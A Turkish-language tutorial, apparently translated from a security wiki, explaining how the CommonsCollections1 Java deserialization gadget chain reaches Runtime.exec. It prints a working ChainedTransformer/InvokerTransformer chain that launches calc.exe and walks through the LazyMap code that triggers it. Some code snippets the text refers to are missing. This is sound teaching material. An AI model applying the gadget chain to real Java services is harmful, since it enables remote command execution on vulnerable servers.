Eğer java deserialization payload'ları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir calc çalıştıracağını anlamak zor olabilir.
Öncelikle, Java'daki Transformer'ın bir sınıfı alan ve onu farklı birine dönüştüren bir şey olduğunu bilmeniz gerekiyor.
Ayrıca burada çalıştırılan payload'ın eşdeğer olduğunu bilmek de ilginç:
Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?
Öncelikle, yükte bir dönüşüm zinciri (dizi) oluşturulduğunu görebilirsiniz:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Eğer kodu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutlar çalıştırabileceğinizi fark edeceksiniz.
Son bölümde, bir Map nesnesi oluşturulduğu görülebilir. Ardından, LazyMap'ten decorate fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılır. Aşağıdaki koddan, bunun zincirlenmiş dönüştürücülerinlazyMap.factory niteliğine kopyalanmasına neden olacağını görebilirsiniz:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Ve sonra büyük final gerçekleştirilir: lazyMap.get("anything");
Bu, get fonksiyonunun kodudur:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Ve bu, transform fonksiyonunun kodudur.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Yani, factory içinde chainedTransformer'ı kaydettiğimizi ve transform fonksiyonu içinde tüm bu zincirlenmiş dönüştürücülerden geçerek birbiri ardına çalıştırdığımızı unutmayın. Komik olan şey, her dönüştürücünün objectolarak girdi alması ve object'in en son çalıştırılan dönüştürücünün çıktısı olmasıdır. Bu nedenle, tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor.
Özet
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.
Not edin ki burada kullanılan gadget'larComonsCollections1 payload'u için açıklandı. Ama bütün bu sürecin nasıl başladığı bırakıldı. Bunu görmek için buraya bakabilirsiniz ki ysoserial, bu payload'u çalıştırmak için bir AnnotationInvocationHandler nesnesi kullanır çünkü bu nesne serileştirildiğinde, payload.get() fonksiyonunu çağıracak ve tüm payload'u çalıştıracaktır.
Java Thread Sleep
Bu payload, web'in zayıf olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer zayıfsa bir uyku çalıştıracaktır.